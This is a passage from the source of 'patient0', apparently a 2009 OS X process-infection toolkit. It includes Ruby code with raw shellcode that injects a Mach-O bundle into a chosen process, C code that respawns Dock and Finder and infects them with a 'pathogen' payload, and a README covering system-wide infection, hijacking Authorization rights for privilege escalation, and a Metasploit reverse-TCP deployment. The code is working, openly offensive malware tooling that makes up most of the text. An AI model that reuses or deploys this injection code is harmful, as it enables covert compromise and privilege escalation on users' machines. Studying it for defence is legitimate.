16-byte aligned 305 | sub esp, byte 16 306 | and esp, 0xfffffff0 307 | ;; Look up and call private pthread_set_self 308 | ror13_hash "__pthread_set_self" 309 | push dword hash 310 | call _dyld_resolve 311 | mov ebx, esp 312 | ;; Use some of the space before the stack. We know it's there. 313 | sub ebx, 32 314 | push ebx 315 | call eax 316 | ;; We're ready to do some work. 317 | jmp _inject_bundle 318 | 319 | 320 | -------------------------------------------------------------------------------- /pathogens/rubella/pivot.rb: -------------------------------------------------------------------------------- 1 | # pivot.rb - injects a mach-o bundle from stdin into the pid on the cmdline 2 | # Copyright (c) 2009 Will Drewry . All rights reserved. 3 | # Use of this source code is governed by a BSD-style license that can be 4 | # found in the LICENSE file or at http://github.org/redpig/patient0. 5 | # 6 | # Usage: 7 | # cat payload.rb pivot.rb | ruby - 8 | # 9 | # Wrapper for libSystemB.dylib's process interaction functions: vm_write, 10 | # vm_allocate, task_for_pid, and thread_create_running It may one day become a 11 | # full featured wrapper around these functions but for now, it is meant to be a 12 | # script packaged with the rubella patient0 pathogen. It is used to infect a 13 | # root-owned process with a selected payload by bouncing through 14 | # AuthorizationExecuteWithPrivileges without touching the filesystem. (No, not 15 | # for forensic reasons, but because it's more challenging that way!) 16 | 17 | require 'dl' 18 | require 'dl/import' 19 | require 'dl/struct' 20 | 21 | module SystemB 22 | extend DL::Importable 23 | class SystemError < RuntimeError; end 24 | #dlload "/usr/lib/libSystem.B.dylib" 25 | LIB = DL.dlopen("/usr/lib/libSystem.B.dylib") 26 | SYM = {} 27 | 28 | # Extra type definitions 29 | typealias("mach_port_t", "int") 30 | IntRef = struct(["int value"]) # int * cases 31 | # From from mach/i386/_struct.h 32 | # mach/i386/thread_status.h 33 | I386_THREAD_STATE = 1 34 | X86ThreadStateStruct = struct([ 35 | "uint eax", 36 | "uint ebx", 37 | "uint ecx", 38 | "uint edx", 39 | "uint edi", 40 | "uint esi", 41 | "uint ebp", 42 | "uint esp", 43 | "uint ss", 44 | "uint eflags", 45 | "uint eip", 46 | "uint cs", 47 | "uint ds", 48 | "uint es", 49 | "uint fs", 50 | "uint gs" 51 | ]) 52 | 53 | class X86ThreadState < Hash 54 | def initialize 55 | [:eax, :ebx, :ecx, :edx, :edi, :esi, 56 | :ebp, :esp, :ss, :eflags, :eip, 57 | :cs, :ds, :es, :fs, :gs].each do |k| 58 | self[k] = 0 59 | end 60 | end 61 | 62 | def to_struct 63 | state = X86ThreadStateStruct.malloc 64 | self.each_pair do |key, value| 65 | state.send("#{key}=", value) 66 | end 67 | return state 68 | end 69 | end 70 | 71 | # Helpers 72 | 73 | # Creates a ruby-managed integer reference 74 | # so that we don't have to malloc and free ourselves. 75 | def SystemB::make_int_by_ref() 76 | i = [0].pack('I').to_ptr 77 | i.struct!('I', :value) 78 | return i 79 | end 80 | def SystemB::get_int_from_ref(i) 81 | return i[:value] 82 | end 83 | 84 | 85 | # natural_t == int, usually on x86 86 | SYM[:mach_task_self] = LIB['mach_task_self', 'I'] 87 | def SystemB::mach_task_self 88 | return SYM[:mach_task_self].call()[0] 89 | end 90 | 91 | class TaskForPidError < SystemError; end 92 | SYM[:task_for_pid] = LIB['task_for_pid', 'IIIP'] 93 | def SystemB::task_for_pid(pid) 94 | task_self = mach_task_self() 95 | task_ptr = make_int_by_ref 96 | result = SYM[:task_for_pid].call(task_self, pid, task_ptr) 97 | # TODO: raise appropriate exceptions per error code/errno 98 | raise TaskForPidError, "returned #{result[0]}" if result[0] != 0 99 | return get_int_from_ref(task_ptr) 100 | end 101 | 102 | class VmAllocateError < SystemError; end 103 | SYM[:vm_allocate] = LIB['vm_allocate', 'IIPII'] 104 | def SystemB::vm_allocate(task, size, anywhere=true) 105 | address_ptr = make_int_by_ref 106 | anywhere_i = 0 107 | anywhere_i = 1 if anywhere 108 | result = SYM[:vm_allocate].call(task, address_ptr, size, anywhere_i) 109 | # TODO: raise appropriate exceptions per error code/errno 110 | raise VmAllocateError, "returned #{result[0]}" if result[0] != 0 111 | return get_int_from_ref(address_ptr) 112 | end 113 | 114 | class VmWriteError < SystemError; end 115 | SYM[:vm_write] = LIB['vm_write', 'IIIPI'] 116 | def SystemB::vm_write(task, address, data) 117 | result = SYM[:vm_write].call(task, address, data, data.length) 118 | # TODO: raise appropriate exceptions per error code/errno 119 | raise VmWriteError, "returned #{result[0]}" if result[0] != 0 120 | return true 121 | end 122 | 123 | 124 | class ThreadCreateRunningError < SystemError; end 125 | SYM[:thread_create_running] = LIB['thread_create_running', 'IIIPIP'] 126 | def SystemB::thread_create_running(task, x86_state) 127 | thread_handle = make_int_by_ref 128 | state_struct = x86_state.to_struct 129 | state_count = state_struct.size / DL.sizeof('I') 130 | #state_struct = ([0xdeadbeef]*16).pack('L*').to_ptr 131 | result = SYM[:thread_create_running].call(task, 132 | I386_THREAD_STATE, 133 | state_struct, 134 | state_count, 135 | thread_handle) 136 | # TODO: raise appropriate exceptions per error code/errno 137 | raise ThreadCreateRunningError, "returned #{result[0]}" if result[0] != 0 138 | return get_int_from_ref(thread_handle) 139 | end 140 | 141 | # TODO! Implement all of patient0 in ruby and have a bundle to inject 142 | # which loads ruby and receives the payload over the open fd. 143 | # We may even be able to do jump patching uѕing 144 | # DL.callback('IPP'){|ptr1, ptr2| ... } 145 | # MMmmmm 146 | end 147 | 148 | class MachTask 149 | class MachTaskError < RuntimeError; end 150 | attr_accessor :handle 151 | def initialize(bsd_pid) 152 | @handle = SystemB::task_for_pid(bsd_pid) 153 | end 154 | 155 | def inject(bundle) 156 | end 157 | 158 | def create_running_thread(code, state=SystemB::X86ThreadState.new) 159 | # Allocate the stack segment 160 | stack_size = 64 * 1024 161 | stack_addr = SystemB.vm_allocate(@handle, stack_size) 162 | # Prep our processor state as we go 163 | state[:esp] = stack_addr + (stack_size / 2) 164 | # Let's just give it a bit of space 165 | state[:ebp] = state[:esp] - 12 166 | # Allocate the code segment 167 | code_addr = SystemB.vm_allocate(@handle, code.length) 168 | state[:eip] = code_addr 169 | 170 | # Populate the segments 171 | SystemB.vm_write(@handle, code_addr, code) 172 | SystemB.vm_write(@handle, stack_addr, "\x00"*stack_size) 173 | 174 | # Fire it up and return the handle 175 | # TODO add thread tracking, task_info, etc 176 | return SystemB::thread_create_running(@handle, state) 177 | end 178 | 179 | def to_i 180 | return handle 181 | end 182 | end 183 | 184 | # This is a modified version of Dino Dai Zovi's 185 | # inject_bundle.s. 186 | # @args: edi -> bundle_address, esi -> bundle_length 187 | INJECT_BUNDLE = [ 188 | 0xe9, 0x3d, 0x01, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x04, 0x50, 0x68, 0x00, 189 | 0x00, 0xe0, 0x8f, 0xe8, 0x03, 0x00, 0x00, 0x00, 0xc2, 0x04, 0x00, 0x55, 190 | 0x89, 0xe5, 0x83, 0xec, 0x0c, 0x53, 0x56, 0x57, 0x8b, 0x5d, 0x08, 0x8b, 191 | 0x43, 0x10, 0x89, 0x45, 0xfc, 0x80, 0xc3, 0x1c, 0x31, 0xc0, 0x39, 0x45, 192 | 0xfc, 0x0f, 0x84, 0x88, 0x00, 0x00, 0x00, 0x40, 0x39, 0x03, 0x74, 0x10, 193 | 0x40, 0x39, 0x03, 0x74, 0x41, 0xff, 0x4d, 0xfc, 0x03, 0x5b, 0x04, 0xe9, 194 | 0xe0, 0xff, 0xff, 0xff, 0x81, 0x7b, 0x0a, 0x54, 0x45, 0x58, 0x54, 0x74, 195 | 0x0e, 0x81, 0x7b, 0x0a, 0x4c, 0x49, 0x4e, 0x4b, 0x74, 0x10, 0xe9, 0xde, 196 | 0xff, 0xff, 0xff, 0x8b, 0x43, 0x18, 0x89, 0x45, 0xf8, 0xe9, 0xd3, 0xff, 197 | 0xff, 0xff, 0x8b, 0x43, 0x18, 0x2b, 0x45, 0xf8, 0x03, 0x45, 0x08, 0x2b, 198 | 0x43, 0x20, 0x89, 0x45, 0xf4, 0xe9, 0xbf, 0xff, 0xff, 0xff, 0x8b, 0x4b, 199 | 0x0c, 0x31, 0xc0, 0x39, 0xc1, 0x74, 0x34, 0x49, 0x6b, 0xd1, 0x0c, 0x03, 200 | 0x53, 0x08, 0x03, 0x55, 0xf4, 0x8b, 0x32, 0x03, 0x73, 0x10, 0x03, 0x75, 201 | 0xf4, 0x31, 0xff, 0xfc, 0x31, 0xc0, 0xac, 0x38, 0xe0, 0x74, 0x0a, 0xc1, 202 | 0xcf, 0x0d, 0x01, 0xc7, 0xe9, 0xef, 0xff, 0xff, 0xff, 0x3b, 0x7d, 0x0c, 203 | 0x75, 0xcf, 0x8b, 0x42, 0x08, 0x2b, 0x45, 0xf8, 0x03, 0x45, 0x08, 0x5f, 204 | 0x5e, 0x5b, 0xc9, 0xc2, 0x08, 0x00, 0x55, 0x89, 0xe5, 0x83, 0xec, 0x0c, 205 | 0x83, 0xec, 0x10, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0x6a, 0x00, 0x8d, 206 | 0x45, 0xf8, 0x50, 0x56, 0x57, 0x68, 0x81, 0x2a, 0x6b, 0x74, 0xe8, 0x1e, 207 | 0xff, 0xff, 0xff, 0xff, 0xd0, 0x3c, 0x01, 0x75, 0x4d, 0x31, 0xc0, 0x50, 208 | 0xb0, 0x05, 0x50, 0x54, 0xff, 0x75, 0xf8, 0x68, 0x91, 0x81, 0xb1, 0x76, 209 | 0xe8, 0x04, 0xff, 0xff, 0xff, 0xff, 0xd0, 0x89, 0xc3, 0x31, 0xc0, 0x50, 210 | 0x68, 0x5f, 0x72, 0x75, 0x6e, 0x89, 0xe0, 0x50, 0x53, 0x68, 0x9d, 0xf3, 211 | 0xd0, 0x4f, 0xe8, 0xea, 0xfe, 0xff, 0xff, 0xff, 0xd0, 0x81, 0xec, 0x0c, 212 | 0x00, 0x00, 0x00, 0x50, 0x68, 0x52, 0x58, 0x4e, 0xa5, 0xe8, 0xd7, 0xfe, 213 | 0xff, 0xff, 0xff, 0xd0, 0x81, 0xec, 0x08, 0x00, 0x00, 0x00, 0x56, 0x57, 214 | 0xff, 0xd0, 0x31, 0xc0, 0x50, 0x50, 0xb0, 0x01, 0xcd, 0x80, 0x83, 0xec, 215 | 0x10, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0x68, 0x7f, 0x12, 0x28, 0xbf, 216 | 0xe8, 0xb0, 0xfe, 0xff, 0xff, 0x89, 0xe3, 0x81, 0xeb, 0x20, 0x00, 0x00, 217 | 0x00, 0x53, 0xff, 0xd0, 0xe9, 0x61, 0xff, 0xff, 0xff 218 | ].pack('c*') 219 | 220 | # Read a Mach-o bundle from stdin and inject it in process id ARGV[0] 221 | def main(pid) 222 | # Inject bundle payload P if supplied. 223 | # Otherwise read from stdin. 224 | begin 225 | bundle = P # P should be supplied by the caller. 226 | rescue NameError => e 227 | $stderr << "[*] reading bundle from $stdin" 228 | end 229 | bundle = $stdin.read if bundle.nil? 230 | # Make sure P didn't gain a newline in the process 231 | bundle = bundle[1..-1] if bundle[0] == "\n" 232 | # Add the arguments and their length 233 | #bundle += ARGV.join(" ") 234 | #bundle += [ARGV.join(" ").length].pack('V') 235 | #bundle += [0].pack('c') 236 | 237 | # Get the task handle 238 | task = MachTask.new(pid) 239 | # Allocate the bundle in the target process and place it there 240 | bundle_segment = SystemB::vm_allocate(task.handle, bundle.length) 241 | SystemB::vm_write(task.handle, bundle_segment, bundle) 242 | # Prep the registers 243 | state = SystemB::X86ThreadState.new 244 | state[:edi] = bundle_segment 245 | state[:esi] = bundle.length 246 | thread = task.create_running_thread(INJECT_BUNDLE, state) 247 | end 248 | 249 | # TODO: make the args a value to be appended to the bundle 250 | if __FILE__ == $0 251 | pid = 1 252 | pid = ARGV[0].to_i if ARGV.length > 0 253 | main(pid) 254 | end 255 | -------------------------------------------------------------------------------- /src/syringe.c: -------------------------------------------------------------------------------- 1 | /* 2 | * TODO: 3 | * - merge runtime and bundle logic 4 | * - move payload building into infect() 5 | * Copyright (c) 2009 Will Drewry . All rights reserved. 6 | * Use of this source code is governed by a BSD-style license that can be 7 | * found in the LICENSE file or at http://github.org/redpig/patient0. 8 | */ 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | #include 22 | #include 23 | 24 | #include "patient0_bundle.h" 25 | 26 | static char *dock_argv[] = { 27 | "/System/Library/CoreServices/Dock.app/Contents/MacOS/Dock", 28 | NULL, 29 | }; 30 | 31 | static char *finder_argv[] = { 32 | "/System/Library/CoreServices/Finder.app/Contents/MacOS/Finder", 33 | NULL 34 | }; 35 | 36 | static const struct timespec sleep_time = { .tv_sec = 5, .tv_nsec = 500000000 }; 37 | 38 | static bool inject_pathogen(mach_port_t *ports, 39 | unsigned char *pathogen, 40 | uint32_t size, 41 | unsigned char *ppayload, 42 | uint32_t ppayload_size) { 43 | thread_act_t thread; 44 | unsigned char *payload = NULL; 45 | uint32_t payload_size = 0; 46 | unsigned char *cursor = NULL; 47 | bool success = true; 48 | 49 | if (!ports || !ports[0]) { 50 | return false; 51 | } 52 | 53 | p0_logf(P0_INFO, "sizes to merge: (%d,%d,4,%d,4,4)", patient0_bundle_len, size, ppayload_size); 54 | if (size > UINT_MAX - (patient0_bundle_len + sizeof(uint32_t) + sizeof(uint32_t))) { 55 | p0_logf(P0_ERR, "pathogen waaay too large"); 56 | return false; 57 | } 58 | payload_size = size + patient0_bundle_len + sizeof(uint32_t) + sizeof(uint32_t); 59 | if (ppayload_size > UINT_MAX - (ppayload_size + sizeof(uint32_t))) { 60 | p0_logf(P0_ERR, "pathogen payload waaay too large"); 61 | return false; 62 | } 63 | payload_size += ppayload_size + sizeof(uint32_t); 64 | p0_logf(P0_INFO, "total payload size: %d", payload_size); 65 | 66 | payload = malloc(payload_size); 67 | cursor = payload; 68 | if (!payload) { 69 | p0_logf(P0_ERR, "failed to allocate space for final payload"); 70 | return false; 71 | } 72 | /* Construct the patient0/pathogen bundle as follows: 73 | * +-----------+ 74 | * | patient0 | 75 | * +-----------+ 76 | * | pathogen | 77 | * +-----------+ 78 | * | uint32 sz | 79 | * +-----------+ 80 | * | ppayload | 81 | * +-----------+ 82 | * | uint32 sz | 83 | * +-----------+ 84 | * | uint32 sz | 85 | * +-----------+ 86 | * TODO: move this to infect() to save on allocations, etc 87 | */ 88 | memcpy(cursor, patient0_bundle, patient0_bundle_len); 89 | cursor += patient0_bundle_len; 90 | 91 | memcpy(cursor, pathogen, size); 92 | cursor += size; 93 | 94 | *((uint32_t *) cursor) = size; 95 | cursor += sizeof(uint32_t); 96 | 97 | memcpy(cursor, ppayload, ppayload_size); 98 | cursor += ppayload_size; 99 | 100 | *((uint32_t *) cursor) = ppayload_size; 101 | cursor += sizeof(uint32_t); 102 | *((uint32_t *) cursor) = ppayload_size + sizeof(uint32_t) + size + sizeof(uint32_t); /* The last int is expected: sizeof(uint32_t) */ 103 | 104 | /* Finally, infect the mach task! */ 105 | while (*ports != 0) { 106 | p0_logf(P0_INFO, "infecting [%d] with payload size %u", *ports, payload_size); 107 | if (!infect(*ports, payload, payload_size, &thread)) { 108 | p0_logf(P0_ERR, "failed to infect task"); 109 | success = false; 110 | } 111 | ports++; 112 | } 113 | return success; 114 | } 115 | 116 | static bool install_pathogen_default(unsigned char *pathogen, 117 | uint32_t size, 118 | unsigned char *payload, 119 | uint32_t payload_size) { 120 | 121 | mach_port_t ports[3] = { MACH_PORT_NULL, MACH_PORT_NULL, 0 }; 122 | mach_port_t dock_port = MACH_PORT_NULL; 123 | mach_port_t finder_port = MACH_PORT_NULL; 124 | uint32_t port_index = 0; 125 | pid_t finder_pid = -1; 126 | pid_t dock_pid = -1; 127 | /* is this a bad addr? */ 128 | //char **environ = (char **)_NSGetEnviron(); 129 | char *environ[] = { 0 }; 130 | time_t wait_until = 0; 131 | 132 | /* Find finder and dock */ 133 | dock_pid = process_find("Dock"); 134 | finder_pid = process_find("Finder"); 135 | 136 | /* Respawn both */ 137 | if (dock_pid > 0) { 138 | p0_logf(P0_INFO, "replacing Dock (%d)", dock_pid); 139 | } 140 | spawn(dock_argv[0], dock_argv, environ, &dock_port, dock_pid); 141 | if (finder_pid > 0) { 142 | /* TODO: run a small kill loop for finder? */ 143 | p0_logf(P0_INFO, "replacing Finder (%d)", finder_pid); 144 | } 145 | spawn(finder_argv[0], finder_argv, environ, &finder_port, finder_pid); 146 | /* Let's chill for a few seconds to let them load their dynamic libraries and 147 | * get bootstrapped. 148 | */ 149 | /* We do a spinwait as nanosleep seems to be misbehaving */ 150 | p0_logf(P0_INFO, "sleeping before infection: %d", time(NULL)); 151 | /* 152 | nanosleep(&sleep_time, NULL); 153 | */ 154 | wait_until = time(NULL) + 5; 155 | while (time(NULL) < wait_until) { sched_yield(); } 156 | p0_logf(P0_INFO, "ready to infect now: %d", time(NULL)); 157 | 158 | /* Inject! 159 | * inject_pathogen takes an array of ports so we don't have to deal 160 | * with rebuilding the payload each time. 161 | */ 162 | if (dock_port != MACH_PORT_NULL) { 163 | ports[port_index++] = dock_port; 164 | p0_logf(P0_INFO, "have Dock port: %d", dock_port); 165 | } 166 | if (finder_port != MACH_PORT_NULL) { 167 | ports[port_index++] = finder_port; 168 | p0_logf(P0_INFO, "have Finder port: %d", finder_port); 169 | } 170 | return inject_pathogen(ports, pathogen, size, payload, payload_size); 171 | } 172 | 173 | static void crash(uint32_t err) { 174 | *((uint32_t *)err) = 0xdeadbeef; 175 | } 176 | 177 | /* Bundle function compatible with Metasploit's inject_bundle payload. 178 | * Expects: 179 | * - fd to be a valid file descriptor 180 | * - a 4-byte uint32_t size to be written to the fd 181 | * - a bundle of the given size to be written 182 | * With a bundle, syringe will attempt to inject patient0+bundle in to 183 | * Dock and Finder (losing their psn values..). 184 | * TODO: bust this up into testable functions 185 | */ 186 | void run(int fd) { 187 | unsigned char *pathogen = NULL; 188 | uint32_t pathogen_size = 0; 189 | unsigned char *payload = NULL; 190 | uint32_t payload_size = 0; 191 | /* Bail on a bad fd */ 192 | if (fd < 0) { 193 | p0_logf(P0_ERR, "bad file descriptor given."); 194 | crash(0x2); 195 | runtime_deadlock(); /* We're done :/ */ 196 | } 197 | 198 | /* Read the length */ 199 | if (read(fd, &pathogen_size, sizeof(uint32_t)) != sizeof(uint32_t)) { 200 | p0_logf(P0_ERR, "failed to read pathogen"); 201 | /* TODO: provide an option to forcibly exit instead */ 202 | crash(0x3); 203 | runtime_deadlock(); /* We're done :/ */ 204 | } 205 | p0_logf(P0_INFO, "expects pathogen of size: %d", pathogen_size); 206 | 207 | /* Get the bundle. */ 208 | if (pathogen_size) { 209 | unsigned char *cur; 210 | int ret = 0; 211 | pathogen = malloc(pathogen_size); 212 | if (!pathogen) { 213 | p0_logf(P0_ERR, "failed to allocate pathogen destination"); 214 | crash(0x4); 215 | runtime_deadlock(); 216 | } 217 | cur = pathogen; 218 | while (cur < pathogen + pathogen_size) { 219 | if ((ret = read(fd, cur, pathogen_size)) < 0) { 220 | free(pathogen); 221 | p0_logf(P0_ERR, "failed to read pathogen: %d [%d]", ret, cur - pathogen); 222 | crash(0x5); 223 | runtime_deadlock(); 224 | } 225 | cur += ret; 226 | } 227 | } 228 | 229 | /* Read the pathogen payload */ 230 | if (read(fd, &payload_size, sizeof(uint32_t)) != sizeof(uint32_t)) { 231 | p0_logf(P0_ERR, "failed to read payload"); 232 | /* TODO: provide an option to forcibly exit instead */ 233 | crash(0x6); 234 | runtime_deadlock(); /* We're done :/ */ 235 | } 236 | p0_logf(P0_INFO, "expects pathogen payload of size: %d", payload_size); 237 | 238 | /* Get the bundle. */ 239 | if (payload_size) { 240 | payload = malloc(payload_size); 241 | if (!payload) { 242 | p0_logf(P0_ERR, "failed to allocate payload destination"); 243 | crash(0x7); 244 | runtime_deadlock(); 245 | } 246 | /* XXX: This needs to be fixed and currently isn't used. */ 247 | if (read(fd, payload, payload_size) != payload_size) { 248 | free(payload); 249 | p0_logf(P0_ERR, "failed to read payload"); 250 | crash(0x8); 251 | runtime_deadlock(); 252 | } 253 | } 254 | 255 | p0_logf(P0_INFO, "installing the pathogen and payload"); 256 | install_pathogen_default(pathogen, pathogen_size, payload, payload_size); 257 | /* Shut it down! */ 258 | _exit(0); 259 | } 260 | 261 | #ifndef SYRINGE_BUNDLE 262 | #include 263 | #include 264 | #include 265 | #include 266 | 267 | /* file_map 268 | * maps a given file into memory returning the size in size 269 | * and the address via the return value. 270 | */ 271 | unsigned char *file_load(const char *path, size_t *size) { 272 | void *addr = NULL; 273 | int fd = open(path, O_RDONLY); 274 | struct stat stat_buf; 275 | 276 | if (fd < 0) { 277 | p0_logf(P0_FATAL, "failed to open file: %s", path); 278 | } 279 | 280 | if (fstat(fd, &stat_buf) < 0) { 281 | p0_logf(P0_FATAL, "failed to extract file size: %s", path); 282 | } 283 | 284 | *size = stat_buf.st_size; 285 | 286 | addr = mmap(NULL, *size, PROT_READ, MAP_PRIVATE, fd, 0); 287 | close(fd); 288 | if (!addr) { 289 | p0_logf(P0_FATAL, "failed to map in file: %s", path); 290 | } 291 | 292 | return (unsigned char *)addr; 293 | } 294 | 295 | 296 | int main(int argc, char **argv, char **envp) { 297 | unsigned char *pathogen = NULL; 298 | size_t pathogen_size = 0; 299 | thread_act_t thread; 300 | mach_port_t port = MACH_PORT_NULL; 301 | pid_t replace_me = 0; 302 | pid_t pid = -1; 303 | char **new_argv = NULL; 304 | char **new_envp = NULL; 305 | 306 | if (argc < 2) { 307 | printf("Usage:\n%s [ [args]]\n", 308 | argv[0]); 309 | return 1; 310 | } 311 | 312 | if (argc > 1) { 313 | /* Read in the pathogen */ 314 | pathogen = file_load(argv[1], &pathogen_size); 315 | } 316 | 317 | if (argc > 2) { 318 | replace_me = atoi(argv[2]); 319 | new_argv = &argv[3]; 320 | new_envp = envp; 321 | p0_logf(P0_INFO, "infecting '%s'", new_argv[0]); 322 | } 323 | 324 | /* Use the same helper we use in run() */ 325 | if (argc == 2) { 326 | install_pathogen_default(pathogen, pathogen_size, NULL, 0); 327 | } else { 328 | pid = spawn(new_argv[0], new_argv, new_envp, &port, replace_me); 329 | if (pid <= 0 && port == MACH_PORT_NULL) { 330 | p0_logf(P0_ERR, "failed to launch '%s'", new_argv[0]); 331 | return 1; 332 | } 333 | /* Give the Dock enough time to get loaded */ 334 | p0_logf(P0_INFO, "zzzzz"); 335 | sleep(3); 336 | 337 | 338 | /* TODO: pad out bytes */ 339 | if (!infect(port, patient0_bundle, patient0_bundle_len, &thread)) { 340 | p0_logf(P0_ERR, "failed to infect '%s'@%d", new_argv[0], pid); 341 | return 1; 342 | } 343 | } 344 | p0_logf(P0_INFO, "infection underway"); 345 | return 0; 346 | } 347 | #endif /* SYRINGE_BUNDLE */ 348 | -------------------------------------------------------------------------------- /README.markdown: -------------------------------------------------------------------------------- 1 | _______ _______ __________________ _______ _ _________ _______ 2 | ( ____ )( ___ )\__ __/\__ __/( ____ \( ( /|\__ __/( __ ) 3 | | ( )|| ( ) | ) ( ) ( | ( \/| \ ( | ) ( | ( ) | 4 | | (____)|| (___) | | | | | | (__ | \ | | | | | | / | 5 | | _____)| ___ | | | | | | __) | (\ \) | | | | (/ /) | 6 | | ( | ( ) | | | | | | ( | | \ | | | | / | | 7 | | ) | ) ( | | | ___) (___| (____/\| ) \ | | | | (__) | 8 | |/ |/ \| )_( \_______/(_______/|/ )_) )_( (_______) 9 | 10 | May 2009 Will Drewry 11 | http://github.com/redpig/patient0 12 | Released under a BSD-style license 13 | `cat ./LICENSE` 14 | 15 | 16 | ## What is [`patient0`]? 17 | 18 | [`patient0`] provides a foundation for exploring trust relationships between 19 | the user, running processes, and privileges on OS X using runtime code 20 | injection and function interposition. In particular, [`patient0`] is a tool 21 | for performing widespread process 'infection' by making key applications, like 22 | Dock and Finder, spread the custom code. [`patient0`] is built on 23 | [`libpatient0`]. 24 | 25 | [`libpatient0`] provides a lightweight framework for creating and interacting 26 | with processes on a given OS X x86 system. Its provided functionality includes 27 | the following: 28 | 29 | - function interposition through lazy and stub jump table patching 30 | - process spawning with task port retention 31 | - bundle injection in to running processes 32 | - process listing and simple searching 33 | 34 | None of these techniques are new, but until now, have not been collected in to 35 | a centralized location. In addition, the reference implementation, 36 | [`patient0`] supplies features which make process behavior exploration even 37 | easier: 38 | 39 | - 'intercepts' LaunchServices-related calls 40 | - 'infects' all new processes with a given mach-o bundle on launch 41 | 42 | This means that an arbitrary bundle can be injected in to all new processes 43 | started from a [`patient0`]-process, like Dock, Finder, or SystemUIServer, 44 | The arbitrary bundle to be injected, or pathogen, will follow a simple form, 45 | but will otherwise be free to perform whatever actions desired. [`rubella`] 46 | is the primary example included (`pathogens/rubella`). 47 | 48 | ## How does it work? 49 | 50 | [`patient0`] relies on two specific capabilities in OS X: 51 | 52 | 1. A given process's mach task port can be sent to any other process 53 | 2. A process's mach task port doesn't change on exec (except s-bit binaries) 54 | 55 | This means that any arbitrary executable (that then doesn't fork()/daemonize()) 56 | may be started while its task port is retained. In our case, we send the task 57 | port back to the parent process. [`libpatient0`] provides this functionality in 58 | `patient0/spawn.h`. With this functionality, we can quickly restart an 59 | application as an infected one -- especially an application that doesn't 60 | usually have mandatory arguments or specific user-state, like the Dock. 61 | 62 | Once we have something like the Dock acting as [`patient0`], any process launch 63 | requests can be intercepted using lazy-function interposition. The 64 | interposition will result in the requested program being launched with the task 65 | port retained in the [`patient0`] process. The [`patient0`] process will then 66 | infect the new process be infected with a given pathogen (using 67 | [`patient0/infect.h`]). 68 | 69 | One of the many interesting side effects of process infection is that it gives 70 | access to a number of features that other platforms don't always have. For 71 | instance, an infected Software Update may allow for unsigned package 72 | installation (see `swineflu`). Or, worse, when an 73 | unprivileged process asks the Authorization for rights, those rights will 74 | become accessible to the attached pathogen code allowing for privileged 75 | execution after the user has authenticated for what they believed to be a 76 | normal, trusted action: preference pane unlocking, screensaver unlocking(*), 77 | etc. 78 | 79 | (*) The screensaver is normally launched by the user's launchd process. However, the ScreenSaverEngine can be spawned independently. 80 | 81 | ## Usage 82 | 83 | [`patient0`] may be used for further development, standalone, or as a 84 | metasploit payload. 85 | 86 | ### Developers 87 | 88 | See the `Components` section. 89 | 90 | ### Standalone 91 | 92 | The initial infection is handled by the `syringe` program. It will inject 93 | a `patient0` bundle in to the given application 94 | 95 | make syringe 96 | ./syringe pathogen.bundle [ ] 97 | 98 | This will run `syringe` and infect the Dock, SystemUIServer, and Finder unless 99 | a process id and path is specified. If one of the given arguments are supplied, 100 | only that process will be infected. 101 | 102 | (Adding support for arbitrary pathogen injection is on the short todo list.) 103 | 104 | ### Metasploit 105 | 106 | In order to use `patient0` with Metasploit, run the following build command 107 | and follow the instructions on the screen: 108 | 109 | make metasploit 110 | 111 | With the files in place, you can inject `patient0` with `rubella` into a 112 | vulnerable application. The payload is sent and injected over a reverse TCP 113 | connection which is not maintained: 114 | 115 | ./msfconsole 116 | msf> use exploit/osx/browser/awesome 117 | msf[awesome]> set payload osx/x86/rubella/reverse_tcp 118 | msf[awesome]> set SRVPORT=8080 119 | msf[awesome]> set LHOST=192.168.1.75 # this machine 120 | msf[awesome]> exploit 121 | ... wait ... 122 | msf[awesome]> 123 | 124 | Currently, `rubella` doesn't phone home. However, it can run an arbitrary 125 | Tcl script. Currently, that script is `web.tcl`. It binds to port 8081 126 | and listens for a connection. Any bundle or Tcl script can be injected. 127 | The approach is convoluted, but flexible enough (for now). 128 | 129 | See the section below on `rubella` for a bit more detail and an example 130 | usecase. 131 | 132 | 133 | ## Components 134 | 135 | ### libpatient0.a 136 | 137 | #### include/patient0/spawn.h 138 | 139 | The spawn components provides utility functions for starting a process while 140 | retaining its mach task port which may be used by the infection component 141 | below. 142 | 143 | #### include/patient0/infect.h 144 | 145 | The infect component provides utility functions for injecting a bundle in to a 146 | running process using its mach task. This uses a modified version of Dino Dai 147 | Zovi's inject_bundle.s from the Metasploit project. 148 | 149 | #### include/patient0/process.h 150 | 151 | The process component provides utility functions for interacting with 152 | the currently running processes on the system prior to acquiring task handles. 153 | 154 | #### include/patient0/runtime.h 155 | 156 | The runtime component provides a few helper functions foruse when writing 157 | pathogens. For instance, you may want to avoid exitting ungracefully when 158 | your bundle runtime exits. To avoid this, you can deadlock it with 159 | runtime_deadlock(); 160 | 161 | #### include/patient0/log.h 162 | 163 | The log component contains simple `p0_logf` macros for easy logging without 164 | polluting the namespace too badly. 165 | 166 | #### include/patient0/mach_jump.h 167 | 168 | The mach_jump component provides utility functions for interacting with 169 | the running process's jump_table section. It allows for easily reversible and 170 | robust function interposition (hijacking) of any function supplied by an 171 | external library (for the most part). In addition, it provides some 172 | functions for walking the Mach-O symbol table to perform name-based jump_table 173 | entry resolution. Additional (dodgier) functionality can be found by looking 174 | around `include/patient0/mach_jump/*.h`. 175 | 176 | ### patient0.bundle 177 | 178 | `patient0`, as a bundle, encapsulates the above functionality in to one library 179 | and adds a runtime on top of it. The runtime is accessed by calling: 180 | 181 | void run(void *self, size_t size) 182 | 183 | The supplementary bundle will attempt to be read from self+size-4 where a 4 byte 184 | unsigned integer is expected to then be preceded by the bundle. This secondary 185 | bundle is the actual infection and will be spread to other launched processes 186 | (along with `patient0`). 187 | 188 | `patient0` is acts as a pathogen superspreader. It should be injected in to 189 | processes that are responsible for interacting with users to launch processes, 190 | like Dock, Finder, and the SystemUIServer, as per earlier discussion. 191 | 192 | `patient0` intercepts LSOpenRefFromSpec to replace calls to ensure infection. 193 | Currently, only opening .app's is supported. 194 | 195 | ### syringe 196 | 197 | `syringe` is the standalone program which will respawn a given process and 198 | inject patient0 and a specified bundle into it. See `usage` above. 199 | 200 | There is also a `syringe` bundle which is compatible with metasploit's 201 | inject_bundle payload. This will inject patient0 and a bundle (read over 202 | the 